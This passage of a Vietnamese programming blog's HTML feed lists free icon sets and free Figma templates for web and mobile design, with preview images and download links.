title="openmoji" src="/static/c39e3370b69f3d1de5dc56a650e322dc/7c811/icon-mien-phi-dan-it-openmoji.png" srcset="/static/c39e3370b69f3d1de5dc56a650e322dc/103f2/icon-mien-phi-dan-it-openmoji.png 165w, /static/c39e3370b69f3d1de5dc56a650e322dc/748ba/icon-mien-phi-dan-it-openmoji.png 330w, /static/c39e3370b69f3d1de5dc56a650e322dc/7c811/icon-mien-phi-dan-it-openmoji.png 660w, /static/c39e3370b69f3d1de5dc56a650e322dc/d28e0/icon-mien-phi-dan-it-openmoji.png 990w, /static/c39e3370b69f3d1de5dc56a650e322dc/8b081/icon-mien-phi-dan-it-openmoji.png 1077w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là bộ icon miễn phí mã nguồn mở của trên 60 học sinh, 3 giáo sư và trên 20 người đóng góp.</p> <p>OpenMoji có khoảng trên 4000 icon về các chủ đề môi trường tự nhiên, động vật, thức ăn, con người, hoạt động, địa điểm,...</p> <p>Bạn có thể tải về 2 định dạng phổ biến là SVG và PNG.</p> <a href="https://openmoji.org/" class="btn btn-primary margin-bottom"> Download </a> <h3 id="bộ-icon-về-mạng-xã-hội" style="position:relative;"><a href="#b%E1%BB%99-icon-v%E1%BB%81-m%E1%BA%A1ng-x%C3%A3-h%E1%BB%99i" aria-label="bộ icon về mạng xã hội permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon về mạng xã hội</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACgUlEQVQozyWS2VLTABSG86Beqlw46CDQNfvSJZU7bxW9YNARQehC9iZp2qaA24yK4yAilJYsbZImXVPQafsA3zn//50DZOuTXGOaro5Wd8/XP/xNHhqR/UtC9nNHt7QeZqqjJGPgsgcyJszZiWJrbffP6vvzeOEaEx1gAWdq4/svTh5tfVt5d3bveQVirWdzOK0NUaFLqQEqdim1j5c9mLcRoYNKLqH4AK2HdGOarU9i+WY034wXWpGDK1To0vUwd3SLl72nO79Bxnz85icu92DOhjkbZE1C9nHJBQi5R6n9jDbCRAeTXEToEHIvpQ1T2oBUg1RlADIGMccIuYeXXVIJKDWI7F/CnAXQ9QnEWoTsz0JWh6TiZ2pjUvETxRapBlSlH9m/xEQnenCFSS7IGLjkQqz1aOt7kjEAuh4ub/8AWSvXmK7tXSxvn2b1EOLsh5ufINbM1seo2E2pfVL2EaEDsSal+oTsk4qfqgxmnRGhS+thrjGdZ/M2ju8ytTHImAvbCG+TSgCxFsRaiWILmddOMgYqOgAmeSs7Z2u757QewrydKLVT2oCQ/USpjZe9tDaM5ZuE4sN8BxUdkDEhzsJEJ1a4RoUuALLmg5cfl15/TVdHT97+Wtr8DHM2LnlLr74kD41MbRwvXFNqQCg9bN4W4W2U78CchZc9YJ7QwCSH1kNMclHRyVRH2foEL3uLO0fzzZm/UhsTuyBrJErtZOkGE50ZTOvhxvFdTg/jxRbMWYjQiRWalBJsnPxb+AcPb0glQPgOqQZ42QMZA2LNlDagKv3Zh9F6mNKG63sX0Xwzlm8ub59ikptrTBebYd5GRSc5G+Fjkps8vJkJK7Vhzv4PfEwHZ2h/5q4AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="social" title="social" src="/static/2aecf43b7dc6457b6467d08c8af238c7/7c811/icon-mien-phi-dan-it-social.png" srcset="/static/2aecf43b7dc6457b6467d08c8af238c7/103f2/icon-mien-phi-dan-it-social.png 165w, /static/2aecf43b7dc6457b6467d08c8af238c7/748ba/icon-mien-phi-dan-it-social.png 330w, /static/2aecf43b7dc6457b6467d08c8af238c7/7c811/icon-mien-phi-dan-it-social.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là bộ icon miễn phí dạng vẽ tay về các mạng xã hội như: Facebook, Twitter, Youtube,...</p> <p>Có 133 icon khác nhau với các định dạng AI, EPS, PNG và SVG cho bạn thoải mái sử dụng.</p> <a href="https://goodstuffnononsense.com/hand-drawn-icons/social-media-icons/" class="btn btn-primary margin-bottom"> Download </a> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 10 bộ icon miễn phí dành cho dân IT. Mình thật sự cảm ơn những người đã làm ra các bộ icon chất lượng cao mà lại miễn phí như này.</p> <p>Bạn thấy ấn tượng với bộ icon nào nhất? Chia sẻ với mình trong phần bình luận nhé!</p>[email protected]<![CDATA[10 Figma templates cho web và di động miễn phí]]><![CDATA[Đối với lập trình viên web frontend, bạn chắc chắn phải biết chuyển từ design sang code với HTML và CSS (thường gọi là cắt HTML). Để làm được điều này, bạn cần phải có một bản…]]>https://completejavascript.com/figma-templates-cho-web-va-di-dong/https://completejavascript.com/figma-templates-cho-web-va-di-dong/<![CDATA[Figma]]>Sat, 09 Oct 2021 15:30:00 GMT<p>Đối với lập trình viên web frontend, bạn chắc chắn phải biết chuyển từ design sang code với <a href="/tag/html/">HTML</a> và <a href="/tag/css/">CSS</a> (thường gọi là <strong>cắt HTML</strong>). Để làm được điều này, bạn cần phải có một bản thiết kế sẵn. Đáp ứng nhu cầu này, mình sẽ chia sẻ với bạn 10 Figma templates cho web và ứng dụng di động hoàn miễn phí mà mình sưu tầm được.</p> <p>Trong mỗi file tải về, đều có sẵn một file <strong>.fig</strong> và các file ảnh. Bạn chỉ cần đăng ký tài khoản trên <a href="https://www.figma.com/">Figma</a> bằng gmail là có thể mở được file <strong>.fig</strong> này.</p> <p>Nếu gặp khó khăn, bạn có thể để lại bình luận xuống phía dưới hoặc gửi email cho mình. Mình sẽ hỗ trợ khi có thể.</p> <h2 id="10-figma-templates-cho-web-và-di-động" style="position:relative;"><a href="#10-figma-templates-cho-web-v%C3%A0-di-%C4%91%E1%BB%99ng" aria-label="10 figma templates cho web và di động permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>10 Figma templates cho web và di động</h2> <p>Dưới đây là 10 templates mà bạn có thể sử dụng hoàn toàn miễn phí cho cá nhân và các dự án thương mại.</p> <h3 id="figma-template-cho-dashboard" style="position:relative;"><a href="#figma-template-cho-dashboard" aria-label="figma template cho dashboard permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Dashboard</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdElEQVQozzWS2U8TURhH56/1wZio3aDuu1GDxggSV9wI4oI00QdNqDGu2CIt1WoLFLG1gNPOTGfr3Ll35pjW+PC9n/M7n9bMnKQxco7ayCW+jk7wJXuTxQP3eJud4fNEnqXZLxQelll8/J2PT1d593SDN3Mt8nNbvJrTeZkzeT7vkMv53JgK0dojx9kcPcvq6BjV7BXK2WsUD0zxIXOf+kKZja0/6IaN4ThIFIoIoQQqlkQoZCSIYgn4FJcCtO30YVr7j7Cx/xT1xAUqmXGWD97iU3qK9XyFTs/HMjws28fvh4Qyomf7eL5AReB6Af1AATGFgkDTU1laFyepX71LbXKa2ulblDNXKaRusLawQnPHpttxEWFIHEfDU0ohQonvBUgVIWVMjGSpGKB1Uxl+3X/E96lpvj54Qn3sDt+OXGf50G028itsGz5m16Vjh7hBhO4oduyILcvB7a7T0gW230dGAaWBspVK0rk8wc74TdrXpvk5OUPjTo7q2AybCyU6tsAyXHQ7omUqatuSlhHxy/JZNTo0dYHveahIUFry0ZzkPgaUgy2b6RM0MueojV6ikrxM83UZvSeGyp7fR4gQJdVQWUqFF0iCUBGKQRRFqeii+ck9WKkEgy3b6WNsZs6wNiievEgrv4xuBnT+2FhmD9OwcBwPx3YxzR62bWGaBpblEkpB+bODFiR24yT3YqTS7KQP0cycoDFynlriAu13K3QFmI5AxIogClHEiDgkUAEi8umH7vCFBpWrJQdNJnYxpEz+pzz6jzJ9nvXxWdYe5anPvmE9t8iPZwWqz5apzFcozVcp5up8yjX4kNvk/Ys287d/8xeacK22zPlAFAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="dashboard" title="dashboard" src="/static/15c7005f52cec8d6b930520cb061a6ba/7c811/10-figma-templates-dashboard.png" srcset="/static/15c7005f52cec8d6b930520cb061a6ba/103f2/10-figma-templates-dashboard.png 165w, /static/15c7005f52cec8d6b930520cb061a6ba/748ba/10-figma-templates-dashboard.png 330w, /static/15c7005f52cec8d6b930520cb061a6ba/7c811/10-figma-templates-dashboard.png 660w, /static/15c7005f52cec8d6b930520cb061a6ba/d28e0/10-figma-templates-dashboard.png 990w, /static/15c7005f52cec8d6b930520cb061a6ba/bb51b/10-figma-templates-dashboard.png 1320w, /static/15c7005f52cec8d6b930520cb061a6ba/ba4af/10-figma-templates-dashboard.png 3036w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Để quản lý, phân tích các chỉ số KPI về hiệu quả công việc, kinh doanh thì chắc hẳn không thể thiếu dashboard.</p> <a href="https://drive.google.com/file/d/1KxZfimd4BD8HoYJL8XJMEAddn3BQHuWA/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-details-section" style="position:relative;"><a href="#figma-template-cho-details-section" aria-label="figma template cho details section permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Details Section</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABxUlEQVQoz2WR3YrTQBTH+2A+gG/gE3jhjXjpjfgMgiDrRVcKspm2m3YLQr0UQVZkcV2UaruTLjaTZJqP+UwyszPJSFL1Qn/MxTnD/Phz5gzEf3DOl8ul53mnf/B7/raT5y/ejCdM8EH3XArZI4RQSm2329FoxBiLoihJEozxTU/Sg9I9e/jk1Z27QZZ2MqMsz4uiKCilSikI4WKxcM5Za51zTdviBOMk6dq27a7Qfvb4KQzDQVmW8S66+nx5eXEB12utFAyC+XzeacZYa7VS7a3uCq3NrWmaxjk3m80ghANRV3QV5G8/5u+/pMvzCobBzfYg8yxrnWu0FlnaOGdNQ4qScdHJvt/JZS3RJv3+AW0+RZtzFK7I9TU8yHifEUKU1jkhRVEopQkhcZz0yfNOlqXAMVt/o8Gawh90t616+cw5R3jets6YhtLKNrZtbC2p6T/CPyQLLmQpaiWrWlS1sFZDGJz5U+dcmmVCSmttXhAuhDGGMUYZ6+XDzN1ifx/GeF1VAcLHj+7xq3c7nEUoxBhHEUIIYYxDhJL459eVuP9gGO56+R+YkIvXw5OjZ2B6CjwPADDuAQB4YDydgKOXJ8Njn3P6C3WJDF16Bd+DAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="detail sections" title="detail sections" src="/static/3b437d3571154ec2f439bd46e14a009c/7c811/10-figma-templates-detail-sections.png" srcset="/static/3b437d3571154ec2f439bd46e14a009c/103f2/10-figma-templates-detail-sections.png 165w, /static/3b437d3571154ec2f439bd46e14a009c/748ba/10-figma-templates-detail-sections.png 330w, /static/3b437d3571154ec2f439bd46e14a009c/7c811/10-figma-templates-detail-sections.png 660w, /static/3b437d3571154ec2f439bd46e14a009c/d28e0/10-figma-templates-detail-sections.png 990w, /static/3b437d3571154ec2f439bd46e14a009c/bb51b/10-figma-templates-detail-sections.png 1320w, /static/3b437d3571154ec2f439bd46e14a009c/1d30e/10-figma-templates-detail-sections.png 4048w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Details section là một phần quan trọng không thể thiếu trong một trang Landing page của công ty khi muốn quảng các các dịch vụ của họ.</p> <a href="https://drive.google.com/file/d/1LEBI4TQmx-U9Ogmci3eOGcUswxEFIGHt/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-feedback-modal" style="position:relative;"><a href="#figma-template-cho-feedback-modal" aria-label="figma template cho feedback modal permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Feedback Modal</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLklEQVQoz02Sy2sTURTGZ+lG0yykMdFMQikogo/YNsFFQRD6H7gUBKW4qiC2BUGUUhciCEo7Mc+ZsbaTaioIBQtSwTa1iomFWkulCmaRzCOT3Jl759nMXJlUofDj8PFxDt/iO0SYgR55EMk3IzSIMCrJon3zBA17XsD+eTTwSus/wIWCeo7zdogwA8k8CFI1/xTvnxL8lHgs1SBpEGVRV1odWTHabUdGFtBtoO/tT4wxr7lnOEiQLApmmufp+nDx17Xi7vWF3wNs/eh0PUIDX1od/2RgS5ekJmgpoAmacgsqcG21vFsV40WdIFnYnWldmpcmlqu33+5MvNu5zPEnc/xpRjqSUsdKBm6bhmkZpqlpumla9l57bm5xY/tP4o1BkAwM5ZW+GfHKIri6pAwvw5vvwa0PYKjYODQN7n62oSxtbf8UBIHneVVVHcfFGCPbjXGqlxzIgkFOGv0Ibiw1x1fA0GspSNV6MvzhJLhfccvrlWRmAWm6pumogyxJLd2OFSARZtHxbKs3W4+/FC/OioOceCpXD1K1aE72pdU7qzrGuO24hmFoCCEITcvCGEPb8ZI7PSmh53yAqgWoWndSCGXkMK1EWehLgrFvGJfW26MP3QdP3EeUO/nUufcYTz5DVSFW1Il/PdNqOA/CtOLpTs9RFnallJGSiWs8WtvQv24alR9GeUv7smmVvwsSOsvB/8ce6IDuPAkDexmQmBXjBdmDa3gU5ESh0TcjkbT6F0iUnjojCLvqAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="feedback modal" title="feedback modal" src="/static/ca3ddb54967a533db0447f5b5dd21880/7c811/10-figma-templates-feedback-modal.png" srcset="/static/ca3ddb54967a533db0447f5b5dd21880/103f2/10-figma-templates-feedback-modal.png 165w, /static/ca3ddb54967a533db0447f5b5dd21880/748ba/10-figma-templates-feedback-modal.png 330w, /static/ca3ddb54967a533db0447f5b5dd21880/7c811/10-figma-templates-feedback-modal.png 660w, /static/ca3ddb54967a533db0447f5b5dd21880/d28e0/10-figma-templates-feedback-modal.png 990w, /static/ca3ddb54967a533db0447f5b5dd21880/bb51b/10-figma-templates-feedback-modal.png 1320w, /static/ca3ddb54967a533db0447f5b5dd21880/1d30e/10-figma-templates-feedback-modal.png 4048w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Feedback Modal cần khi bạn muốn thu thập ý kiến phản hồi của người dùng.</p> <a href="https://drive.google.com/file/d/1201QPzxuFcXOFhjN6a5sKi_fy50_QOBL/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-fruits-store" style="position:relative;"><a href="#figma-template-cho-fruits-store" aria-label="figma template cho fruits store permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Fruits Store</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbUlEQVQozwFiAp39ACPElSLDlCLDlCC/kRyzhx2xhB23iRy6i2WsllyPgE+KeXiwoSOxhh62iB6tgR2sgR6yhRu0hxmygxevfQAjxZYiw5QiwJEkoXwih2oablgdkHQhonvM3NjvyL2+nHnq9Og1oIAIjWQNcFILclMOjWccsoUatIYasoUAI8WWIr+QE6t8hrmp6tfZ5ezY5enORaaNvdnO+Lau1Wtq3efaQKOIicCvrN/PruPWhL6uG6+CG7WHF7CDACPFliXFlhS5iZTAsv/u8fvy5/rv20qqkcLVz//+//X09/Hz9EOjiNjRzf/49v///8nT0RysgBu2hxmxhAAjxZYmx5gWvYyQwLP/7vXy6+nnz8tIrJG90c3////7/Prw8vM+oYfS1sT79+z8/v/B0Mwcq38btocbtIYAJMWYJseYFr2Njr+t//DZ8vHu7eTgSKyRtcvG+fT28/Pz6OvqPaOI0tfE//vx////wtPPGrGEG7aHG7SHACPEjybHlxa9jY/Arf/z0/Lx7+3h40iukbLFwvTv8vPz+Obq7z2ihM3W0fj39//9/8LR0BuxhBy3iBqzgwAkxpMmx5cXvo6MvK734+X+59r73MZIsZjAw73/4uj/99nx7NI+oonR1tv/9P/89//BztEcsoQcuIkas4IAJceZJ8maG76Pc7ajyerdwOXXwuDRPaiKirSpxMjIvMW9scS5M6WEqcnFyOrojNzJd7ioILGFG7iIHLaIACbFliLElSLDlCChexiUcByZdBeScCGuhB2+ix+3iR+3jB25jR+3iRiNahuUcBqTbxeNaxu0hxy4iRy3iA/xdiOV/s+4AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="fruits store" title="fruits store" src="/static/c06a641886d1a6c00077fd868c1ec785/7c811/10-figma-templates-fruits-store.png" srcset="/static/c06a641886d1a6c00077fd868c1ec785/103f2/10-figma-templates-fruits-store.png 165w, /static/c06a641886d1a6c00077fd868c1ec785/748ba/10-figma-templates-fruits-store.png 330w, /static/c06a641886d1a6c00077fd868c1ec785/7c811/10-figma-templates-fruits-store.png 660w, /static/c06a641886d1a6c00077fd868c1ec785/d28e0/10-figma-templates-fruits-store.png 990w, /static/c06a641886d1a6c00077fd868c1ec785/bb51b/10-figma-templates-fruits-store.png 1320w, /static/c06a641886d1a6c00077fd868c1ec785/ba4af/10-figma-templates-fruits-store.png 3036w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là mẫu Figma trên di động dành cho một cửa hàng bán hoa quả.</p> <a href="https://drive.google.com/file/d/1QPQ8C-zb0Gd_oH7vTSryRmEitwOYgm-7/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-landing-page" style="position:relative;"><a href="#figma-template-cho-landing-page" aria-label="figma template cho landing page permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Landing Page</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAUlEQVQoz22SW2vTABTHzxLbtGnuJm2yLr24amGOCSpiYSKIDPHzqG3aOh/X9HnVNUnxc4iP+iLOrA8NY6joJnaOrpfcaouMStv5oPiD83Lgxzmc/wH3bxzHGY1GVqulqurWVkVVVbVandYMVa1W5p2K2mpZMDU81/tDv9+fTCY7Oy8AAEVR+B8IggBAvV6fyvbA7na7vV5/MLDnsq7rAEBQHMnwFCuwvMRH5QgewUNBPBzCwxgA6LoBnu+dtE+sltXc2zuwrMFgKmuaBgAUHyeFZJCMhmhpZTUniUvBABrGghEsOJN1cH1/cPi9936/+6bZef2u/Wr37Iejv2wAwIUQIchX1u89SGdXc+v3b9/duLPx8NqtHEZQ55P9odf+1Dl4++3j7vHRfuf08PjM+6UbRgQBjqEIQU5kVi4upkk+QUbT8as3l9duJNLJMAqGroPnuacd5+tnu/nBPvriOL49X5sNQIwlQnQMIzicZgUpSnKxAB1jRPn6ZTEr4g3DmB7M81x/6Po/PX/ozg+maRodgIxEX5JYiWcEjkoucbLEpxaFbDK2lpGWo3jD0GdROa7juM405HO5tr0NADyGimGIEyDiIEUWUgyS5pAUsyCTSADgea0G/zyJbdvj8dg0zfyTR8VCvqTky8XCZkl5VlY2S8rTolIuFkpKXsk/Nk3zN3EqHbhDqNOQAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="landing page" title="landing page" src="/static/6ce77c67939869235ca753d70cdcd4b0/7c811/10-figma-templates-landing-pages.png" srcset="/static/6ce77c67939869235ca753d70cdcd4b0/103f2/10-figma-templates-landing-pages.png 165w, /static/6ce77c67939869235ca753d70cdcd4b0/748ba/10-figma-templates-landing-pages.png 330w, /static/6ce77c67939869235ca753d70cdcd4b0/7c811/10-figma-templates-landing-pages.png 660w, /static/6ce77c67939869235ca753d70cdcd4b0/d28e0/10-figma-templates-landing-pages.png 990w, /static/6ce77c67939869235ca753d70cdcd4b0/bb51b/10-figma-templates-landing-pages.png 1320w, /static/6ce77c67939869235ca753d70cdcd4b0/1d30e/10-figma-templates-landing-pages.png 4048w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là mẫu Landing Page mà bạn có thể sử dụng để làm trang portfolio giới thiệu về bản thân, các dự án, kiến thức kinh nghiệm lập trình.</p> <a href="https://drive.google.com/file/d/1KRvtC5hM1So03hnRm4qecYeY67_PsE3O/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-login-screen" style="position:relative;"><a href="#figma-template-cho-login-screen" aria-label="figma template cho login screen permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Login Screen</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: 